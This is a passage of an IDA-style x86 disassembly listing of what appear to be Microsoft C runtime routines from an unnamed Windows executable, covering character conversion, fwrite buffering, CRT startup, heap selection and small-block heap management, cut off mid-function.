arg_0 = dword ptr 4
push ebx
xor ebx, ebx
cmp dword_676988, ebx
jnz short loc_42C1C6
mov eax, [esp+4+arg_0]
cmp eax, 61h
jl short loc_42C215
cmp eax, 7Ah
jg short loc_42C215
sub eax, 20h
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42C1C6: ; CODE XREF: sub_42C1A8+9j
push esi
mov esi, offset dword_676EBC
push edi
push esi
call dword_437220 ; InterlockedIncrement
cmp dword_676EB8, ebx
mov edi, dword_43721C
jz short loc_42C1F0
push esi
call edi ; dword_43721C
push 13h
call sub_42DA1F
pop ecx
push 1
pop ebx
loc_42C1F0: ; CODE XREF: sub_42C1A8+38j
push [esp+0Ch+arg_0]
call sub_42C217
test ebx, ebx
pop ecx
mov [esp+0Ch+arg_0], eax
jz short loc_42C20C
push 13h
call sub_42DA80
pop ecx
jmp short loc_42C20F
; ---------------------------------------------------------------------------
loc_42C20C: ; CODE XREF: sub_42C1A8+58j
push esi
call edi ; dword_43721C
loc_42C20F: ; CODE XREF: sub_42C1A8+62j
mov eax, [esp+0Ch+arg_0]
pop edi
pop esi
loc_42C215: ; CODE XREF: sub_42C1A8+12j
; sub_42C1A8+17j
pop ebx
retn
sub_42C1A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C217 proc near ; CODE XREF: sub_42C1A8+4Cp
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_676988, 0
push ebx
jnz short loc_42C242
mov eax, [ebp+arg_0]
cmp eax, 61h
jl loc_42C2E0
cmp eax, 7Ah
jg loc_42C2E0
sub eax, 20h
jmp loc_42C2E0
; ---------------------------------------------------------------------------
loc_42C242: ; CODE XREF: sub_42C217+Cj
mov ebx, [ebp+arg_0]
cmp ebx, 100h
jge short loc_42C275
cmp dword_4535A4, 1
jle short loc_42C262
push 2
push ebx
call sub_42F05B
pop ecx
pop ecx
jmp short loc_42C26D
; ---------------------------------------------------------------------------
loc_42C262: ; CODE XREF: sub_42C217+3Dj
mov eax, off_453398
mov al, [eax+ebx*2]
and eax, 2
loc_42C26D: ; CODE XREF: sub_42C217+49j
test eax, eax
jnz short loc_42C275
loc_42C271: ; CODE XREF: sub_42C217+AFj
mov eax, ebx
jmp short loc_42C2E0
; ---------------------------------------------------------------------------
loc_42C275: ; CODE XREF: sub_42C217+34j
; sub_42C217+58j
mov edx, off_453398
mov eax, ebx
sar eax, 8
movzx ecx, al
test byte ptr [edx+ecx*2+1], 80h
jz short loc_42C298
and byte ptr [ebp+arg_0+2], 0
mov byte ptr [ebp+arg_0], al
mov byte ptr [ebp+arg_0+1], bl
push 2
jmp short loc_42C2A1
; ---------------------------------------------------------------------------
loc_42C298: ; CODE XREF: sub_42C217+71j
and byte ptr [ebp+arg_0+1], 0
mov byte ptr [ebp+arg_0], bl
push 1
loc_42C2A1: ; CODE XREF: sub_42C217+7Fj
pop eax
lea ecx, [ebp+var_4]
push 1
push 0
push 3
push ecx
push eax
lea eax, [ebp+arg_0]
push eax
push 200h
push dword_676988
call sub_430CCF
add esp, 20h
test eax, eax
jz short loc_42C271
cmp eax, 1
jnz short loc_42C2D3
movzx eax, [ebp+var_4]
jmp short loc_42C2E0
; ---------------------------------------------------------------------------
loc_42C2D3: ; CODE XREF: sub_42C217+B4j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_42C2E0: ; CODE XREF: sub_42C217+14j
; sub_42C217+1Dj ...
pop ebx
leave
retn
sub_42C217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C2E3 proc near ; CODE XREF: sub_420399+536p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push [ebp+arg_C]
call sub_42C104
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_42C312
push [ebp+arg_C]
mov esi, eax
call sub_42C156
add esp, 18h
mov eax, esi
pop esi
pop ebp
retn
sub_42C2E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C312 proc near ; CODE XREF: sub_42C2E3+18p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
test edi, edi
mov [ebp+arg_0], eax
mov ebx, edi
jnz short loc_42C336
xor eax, eax
jmp loc_42C403
; ---------------------------------------------------------------------------
loc_42C336: ; CODE XREF: sub_42C312+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_42C349
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_42C350
; ---------------------------------------------------------------------------
loc_42C349: ; CODE XREF: sub_42C312+2Dj
mov [ebp+arg_C], 1000h
loc_42C350: ; CODE XREF: sub_42C312+35j
; sub_42C312+E8j
mov ecx, [esi+0Ch]
and ecx, 108h
jz short loc_42C384
mov eax, [esi+4]
test eax, eax
jz short loc_42C384
cmp ebx, eax
mov edi, ebx
jb short loc_42C36A
mov edi, eax
loc_42C36A: ; CODE XREF: sub_42C312+54j
push edi
push [ebp+arg_0]
push dword ptr [esi]
call sub_429350
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
sub ebx, edi
add [ebp+arg_0], edi
jmp short loc_42C3CA
; ---------------------------------------------------------------------------
loc_42C384: ; CODE XREF: sub_42C312+47j
; sub_42C312+4Ej
cmp ebx, [ebp+arg_C]
jb short loc_42C3CF
test ecx, ecx
jz short loc_42C398
push esi
call sub_42F209
test eax, eax
pop ecx
jnz short loc_42C411
loc_42C398: ; CODE XREF: sub_42C312+79j
cmp [ebp+arg_C], 0
jz short loc_42C3AB
mov eax, ebx
xor edx, edx
div [ebp+arg_C]
mov edi, ebx
sub edi, edx
jmp short loc_42C3AD
; ---------------------------------------------------------------------------
loc_42C3AB: ; CODE XREF: sub_42C312+8Aj
mov edi, ebx
loc_42C3AD: ; CODE XREF: sub_42C312+97j
push edi
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_4323CC
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42C408
add [ebp+arg_0], eax
sub ebx, eax
cmp eax, edi
jb short loc_42C408
loc_42C3CA: ; CODE XREF: sub_42C312+70j
mov edi, [ebp+var_4]
jmp short loc_42C3F8
; ---------------------------------------------------------------------------
loc_42C3CF: ; CODE XREF: sub_42C312+75j
mov eax, [ebp+arg_0]
push esi
movsx eax, byte ptr [eax]
push eax
call sub_42DA95
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_42C411
inc [ebp+arg_0]
mov eax, [esi+18h]
dec ebx
mov [ebp+arg_C], eax
test eax, eax
jg short loc_42C3F8
mov [ebp+arg_C], 1
loc_42C3F8: ; CODE XREF: sub_42C312+BBj
; sub_42C312+DDj
test ebx, ebx
jnz loc_42C350
mov eax, [ebp+arg_8]
loc_42C403: ; CODE XREF: sub_42C312+1Fj
; sub_42C312+108j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42C408: ; CODE XREF: sub_42C312+ADj
; sub_42C312+B6j
or dword ptr [esi+0Ch], 20h
mov eax, [ebp+var_4]
jmp short loc_42C413
; ---------------------------------------------------------------------------
loc_42C411: ; CODE XREF: sub_42C312+84j
; sub_42C312+CFj
mov eax, edi
loc_42C413: ; CODE XREF: sub_42C312+FDj
sub eax, ebx
xor edx, edx
div [ebp+arg_4]
jmp short loc_42C403
sub_42C312 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_42C420 proc near ; CODE XREF: sub_42251B+17Fp
; sub_42E525+7F8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
mov ecx, [esp+arg_C]
or ecx, eax
mov ecx, [esp+arg_8]
jnz short loc_42C439
mov eax, [esp+arg_0]
mul ecx
retn 10h
; ---------------------------------------------------------------------------
loc_42C439: ; CODE XREF: sub_42C420+Ej
push ebx
mul ecx
mov ebx, eax
mov eax, [esp+4+arg_0]
mul [esp+4+arg_C]
add ebx, eax
mov eax, [esp+4+arg_0]
mul ecx
add edx, ebx
pop ebx
retn 10h
sub_42C420 endp
; =============== S U B R O U T I N E =======================================
sub_42C454 proc near ; CODE XREF: sub_426698+1AFp
arg_0 = dword ptr 4
cmp dword_4535A4, 1
jle short loc_42C46B
push 4
push [esp+4+arg_0]
call sub_42F05B
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42C46B: ; CODE XREF: sub_42C454+7j
mov eax, [esp+arg_0]
mov ecx, off_453398
mov al, [ecx+eax*2]
and eax, 4
retn
sub_42C454 endp
; =============== S U B R O U T I N E =======================================
sub_42C47C proc near ; CODE XREF: sub_42E525+76p
; sub_42E525+88p ...
arg_0 = dword ptr 4
cmp dword_4535A4, 1
jle short loc_42C493
push 8
push [esp+4+arg_0]
call sub_42F05B
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42C493: ; CODE XREF: sub_42C47C+7j
mov eax, [esp+arg_0]
mov ecx, off_453398
mov al, [ecx+eax*2]
and eax, 8
retn
sub_42C47C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C4A4 proc near ; CODE XREF: start+1AAj
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4374C0
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 58h
push ebx
push esi
push edi
mov [ebp+var_18], esp
call dword_43723C ; GetVersion
xor edx, edx
mov dl, ah
mov dword_6769BC, edx
mov ecx, eax
and ecx, 0FFh
mov dword_6769B8, ecx
shl ecx, 8
add ecx, edx
mov dword_6769B4, ecx
shr eax, 10h
mov dword ptr byte_6769B0, eax
push 1
call sub_42C785
pop ecx
test eax, eax
jnz short loc_42C50F
push 1Ch
call sub_42C5D1
pop ecx
loc_42C50F: ; CODE XREF: sub_42C4A4+61j
call sub_42E3B7
test eax, eax
jnz short loc_42C520
push 10h
call sub_42C5D1
pop ecx
loc_42C520: ; CODE XREF: sub_42C4A4+72j
xor esi, esi
mov [ebp+var_4], esi
call sub_42F62C
call dword_437238 ; GetCommandLineA
mov dword_676FE8, eax
call sub_432E65
mov dword_676904, eax
call sub_432C18
call sub_432B5F
call sub_430A37
mov [ebp+var_30], esi
lea eax, [ebp+var_5C]
push eax
call dword_437234 ; GetStartupInfoA
call sub_432B07
mov [ebp+var_64], eax
test byte ptr [ebp+var_30], 1
jz short loc_42C56F
movzx eax, [ebp+var_2C]
jmp short loc_42C572
; ---------------------------------------------------------------------------
loc_42C56F: ; CODE XREF: sub_42C4A4+C3j
push 0Ah
pop eax
loc_42C572: ; CODE XREF: sub_42C4A4+C9j
push eax
push [ebp+var_64]
push esi
push esi
call dword_437070 ; GetModuleHandleA
push eax
call sub_418D49
mov [ebp+var_60], eax
push eax
call sub_430A64
mov eax, [ebp+var_14]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp+var_68], ecx
push eax
push ecx
call sub_430B57
pop ecx
pop ecx
retn
sub_42C4A4 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
push dword ptr [ebp-68h]
call sub_430A75
; =============== S U B R O U T I N E =======================================
sub_42C5AC proc near ; CODE XREF: sub_42AB28+3Cp
; sub_42ABBB+19p ...
arg_0 = dword ptr 4
cmp dword_67690C, 1
jnz short loc_42C5BA
call sub_432F97
loc_42C5BA: ; CODE XREF: sub_42C5AC+7j
push [esp+arg_0]
call sub_432FD0
push 0FFh
call off_451120
pop ecx
pop ecx
retn
sub_42C5AC endp
; =============== S U B R O U T I N E =======================================
sub_42C5D1 proc near ; CODE XREF: sub_42C4A4+65p
; sub_42C4A4+76p
arg_0 = dword ptr 4
cmp dword_67690C, 1
jnz short loc_42C5DF
call sub_432F97
loc_42C5DF: ; CODE XREF: sub_42C5D1+7j
push [esp+arg_0]
call sub_432FD0
pop ecx
push 0FFh
call dword_4370C4 ; ExitProcess
retn
sub_42C5D1 endp
; =============== S U B R O U T I N E =======================================
sub_42C5F5 proc near ; CODE XREF: sub_4296FA+1Fp
; sub_42B2CA+10Dp ...
arg_0 = dword ptr 4
mov eax, dword_676914
test eax, eax
jz short loc_42C60D
push [esp+arg_0]
call eax ; dword_676914
test eax, eax
pop ecx
jz short loc_42C60D
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_42C60D: ; CODE XREF: sub_42C5F5+7j
; sub_42C5F5+12j
xor eax, eax
retn
sub_42C5F5 endp
; =============== S U B R O U T I N E =======================================
sub_42C610 proc near ; CODE XREF: sub_42C63D+136p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
call dword_437070 ; GetModuleHandleA
cmp word ptr [eax], 5A4Dh
jnz short loc_42C63B
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_42C63B
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_42C63B: ; CODE XREF: sub_42C610+15j
; sub_42C610+1Cj
pop esi
retn
sub_42C610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C63D proc near ; CODE XREF: sub_42C785+20p
var_122C = byte ptr -122Ch
var_19C = byte ptr -19Ch
var_98 = dword ptr -98h
var_94 = dword ptr -94h
var_88 = dword ptr -88h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_429A90
lea eax, [ebp+var_98]
push ebx
push eax
mov [ebp+var_98], 94h
call dword_437050 ; GetVersionExA
test eax, eax
jz short loc_42C680
cmp [ebp+var_88], 2
jnz short loc_42C680
cmp [ebp+var_94], 5
jb short loc_42C680
push 1
pop eax
jmp loc_42C782
; ---------------------------------------------------------------------------
loc_42C680: ; CODE XREF: sub_42C63D+27j
; sub_42C63D+30j ...
lea eax, [ebp+var_122C]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
call dword_437240 ; GetEnvironmentVariableA
test eax, eax
jz loc_42C76F
xor ebx, ebx
lea ecx, [ebp+var_122C]
cmp [ebp+var_122C], bl
jz short loc_42C6C2
loc_42C6AF: ; CODE XREF: sub_42C63D+83j
mov al, [ecx]
cmp al, 61h
jl short loc_42C6BD
cmp al, 7Ah
jg short loc_42C6BD
sub al, 20h
mov [ecx], al
loc_42C6BD: ; CODE XREF: sub_42C63D+76j
; sub_42C63D+7Aj
inc ecx
cmp [ecx], bl
jnz short loc_42C6AF
loc_42C6C2: ; CODE XREF: sub_42C63D+70j
lea eax, [ebp+var_122C]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_42B870
add esp, 0Ch
test eax, eax
jnz short loc_42C6E4
lea eax, [ebp+var_122C]
jmp short loc_42C72D
; ---------------------------------------------------------------------------
loc_42C6E4: ; CODE XREF: sub_42C63D+9Dj
lea eax, [ebp+var_19C]
push 104h
push eax
push ebx
call dword_437178 ; GetModuleFileNameA
cmp [ebp+var_19C], bl
lea ecx, [ebp+var_19C]
jz short loc_42C718
loc_42C705: ; CODE XREF: sub_42C63D+D9j
mov al, [ecx]
cmp al, 61h
jl short loc_42C713
cmp al, 7Ah
jg short loc_42C713
sub al, 20h
mov [ecx], al
loc_42C713: ; CODE XREF: sub_42C63D+CCj
; sub_42C63D+D0j
inc ecx
cmp [ecx], bl
jnz short loc_42C705
loc_42C718: ; CODE XREF: sub_42C63D+C6j
lea eax, [ebp+var_19C]
push eax
lea eax, [ebp+var_122C]
push eax
call sub_42ADD0
pop ecx
pop ecx
loc_42C72D: ; CODE XREF: sub_42C63D+A5j
cmp eax, ebx
jz short loc_42C76F
push 2Ch
push eax
call sub_42B0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_42C76F
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_42C754
loc_42C746: ; CODE XREF: sub_42C63D+115j
cmp byte ptr [ecx], 3Bh
jnz short loc_42C74F
mov [ecx], bl
jmp short loc_42C750
; ---------------------------------------------------------------------------
loc_42C74F: ; CODE XREF: sub_42C63D+10Cj
inc ecx
loc_42C750: ; CODE XREF: sub_42C63D+110j
cmp [ecx], bl
jnz short loc_42C746
loc_42C754: ; CODE XREF: sub_42C63D+107j
push 0Ah
push ebx
push eax
call sub_429D72
add esp, 0Ch
cmp eax, 2
jz short loc_42C782
cmp eax, 3
jz short loc_42C782
cmp eax, 1
jz short loc_42C782
loc_42C76F: ; CODE XREF: sub_42C63D+5Cj
; sub_42C63D+F2j ...
lea eax, [ebp+var_4]
push eax
call sub_42C610
cmp [ebp+var_4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_42C782: ; CODE XREF: sub_42C63D+3Ej
; sub_42C63D+126j ...
pop ebx
leave
retn
sub_42C63D endp
; =============== S U B R O U T I N E =======================================
sub_42C785 proc near ; CODE XREF: sub_42C4A4+59p
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_4371F4 ; HeapCreate
test eax, eax
mov dword_676FE0, eax
jz short loc_42C7DB
call sub_42C63D
cmp eax, 3
mov dword_676FE4, eax
jnz short loc_42C7C1
push 3F8h
call sub_42C7E2
pop ecx
jmp short loc_42C7CB
; ---------------------------------------------------------------------------
loc_42C7C1: ; CODE XREF: sub_42C785+2Dj
cmp eax, 2
jnz short loc_42C7DE
call sub_42D329
loc_42C7CB: ; CODE XREF: sub_42C785+3Aj
test eax, eax
jnz short loc_42C7DE
push dword_676FE0
call dword_4371F8 ; HeapDestroy
loc_42C7DB: ; CODE XREF: sub_42C785+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_42C7DE: ; CODE XREF: sub_42C785+3Fj
; sub_42C785+48j
push 1
pop eax
retn
sub_42C785 endp
; =============== S U B R O U T I N E =======================================
sub_42C7E2 proc near ; CODE XREF: sub_42C785+34p
arg_0 = dword ptr 4
push 140h
push 0
push dword_676FE0
call dword_43720C ; RtlAllocateHeap
test eax, eax
mov dword_676FD8, eax
jnz short loc_42C7FF
retn
; ---------------------------------------------------------------------------
loc_42C7FF: ; CODE XREF: sub_42C7E2+1Aj
mov ecx, [esp+arg_0]
and dword_676FD0, 0
and dword_676FD4, 0
push 1
mov dword_676FCC, eax
mov dword_676FDC, ecx
mov dword_676FC4, 10h
pop eax
retn
sub_42C7E2 endp
; =============== S U B R O U T I N E =======================================
sub_42C82A proc near ; CODE XREF: sub_429822+45p
; sub_431BB3+73p ...
arg_0 = dword ptr 4
mov eax, dword_676FD4
lea ecx, [eax+eax*4]
mov eax, dword_676FD8
lea ecx, [eax+ecx*4]
loc_42C83A: ; CODE XREF: sub_42C82A+26j
cmp eax, ecx
jnb short loc_42C852
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_42C854
add eax, 14h
jmp short loc_42C83A
; ---------------------------------------------------------------------------
loc_42C852: ; CODE XREF: sub_42C82A+12j
xor eax, eax
locret_42C854: ; CODE XREF: sub_42C82A+21j
retn
sub_42C82A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C855 proc near ; CODE XREF: sub_429822+54p
; sub_431BB3+D0p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_42CB79
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_42C92B
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_42C8B9
push 3Fh
pop edx
loc_42C8B9: ; CODE XREF: sub_42C855+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_42C90D
cmp edx, 20h
jnb short loc_42C8E4
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_42C905
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_42C905
; ---------------------------------------------------------------------------
loc_42C8E4: ; CODE XREF: sub_42C855+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_42C905
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_42C905: ; CODE XREF: sub_42C855+86j
; sub_42C855+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_42C910
; ---------------------------------------------------------------------------
loc_42C90D: ; CODE XREF: sub_42C855+6Aj
mov ecx, [ebp+var_4]
loc_42C910: ; CODE XREF: sub_42C855+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_42C92B: ; CODE XREF: sub_42C855+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_42C939
push 3Fh
pop edx
loc_42C939: ; CODE XREF: sub_42C855+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_42C9DC
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_42C95E
mov ebx, esi
loc_42C95E: ; CODE XREF: sub_42C855+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_42C970
mov edx, esi
loc_42C970: ; CODE XREF: sub_42C855+117j
cmp ebx, edx
jz short loc_42C9D7
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_42C9BF
cmp ebx, 20h
jnb short loc_42C9A0
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_42C9BF
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_42C9BF
; ---------------------------------------------------------------------------
loc_42C9A0: ; CODE XREF: sub_42C855+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_42C9BF
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_42C9BF: ; CODE XREF: sub_42C855+128j
; sub_42C855+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_42C9D7: ; CODE XREF: sub_42C855+11Dj
mov esi, [ebp+arg_4]
jmp short loc_42C9DF
; ---------------------------------------------------------------------------
loc_42C9DC: ; CODE XREF: sub_42C855+EDj
mov ebx, [ebp+arg_0]
loc_42C9DF: ; CODE XREF: sub_42C855+185j
cmp [ebp+var_C], 0
jnz short loc_42C9ED
cmp ebx, edx
jz loc_42CA6E
loc_42C9ED: ; CODE XREF: sub_42C855+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_42CA6E
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_42CA45
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_42CA34
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_42CA34: ; CODE XREF: sub_42C855+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_42CA6E
; ---------------------------------------------------------------------------
loc_42CA45: ; CODE XREF: sub_42C855+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_42CA5B
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_42CA5B: ; CODE XREF: sub_42C855+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_42CA6E: ; CODE XREF: sub_42C855+192j
; sub_42C855+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_42CB79
mov eax, dword_676FD0
test eax, eax
jz loc_42CB6B
mov ecx, dword_676FC8
mov esi, dword_437194
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi ; dword_437194
mov ecx, dword_676FC8
mov eax, dword_676FD0
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_676FD0
mov ecx, dword_676FC8
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_676FD0
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_676FD0
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_42CAFC
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_676FD0
loc_42CAFC: ; CODE XREF: sub_42C855+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_42CB6B
push ebx
push 0
push dword ptr [eax+0Ch]
call esi ; dword_437194
mov eax, dword_676FD0
push dword ptr [eax+10h]
push 0
push dword_676FE0
call dword_437210 ; RtlFreeHeap
mov eax, dword_676FD4
mov edx, dword_676FD8
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_676FD0
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_42B9C0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_676FD4
cmp eax, dword_676FD0
jbe short loc_42CB61
sub [ebp+arg_0], 14h
loc_42CB61: ; CODE XREF: sub_42C855+306j
mov eax, dword_676FD8
mov dword_676FCC, eax
loc_42CB6B: ; CODE XREF: sub_42C855+234j
; sub_42C855+2ABj
mov eax, [ebp+arg_0]
mov dword_676FC8, edi
mov dword_676FD0, eax
loc_42CB79: ; CODE XREF: sub_42C855+38j
; sub_42C855+227j
pop edi
pop esi
pop ebx
leave
retn
sub_42C855 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42CB7E proc near ; CODE XREF: sub_429726+49p
; sub_42B2CA+78p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_676FD4
mov edx, dword_676FD8
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_42CBBE
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_42CBCE
; ---------------------------------------------------------------------------
loc_42CBBE: ; CODE XREF: sub_42CB7E+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_42CBCE: ; CODE XREF: sub_42CB7E+3Ej
mov eax, dword_676FCC
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_42CBF5
loc_42CBDC: ; CODE XREF: sub_42CB7E+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_42CBF5
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_42CBDC
loc_42CBF5: ; CODE XREF: sub_42CB7E+5Cj
; sub_42CB7E+6Aj
cmp ebx, [ebp+var_4]
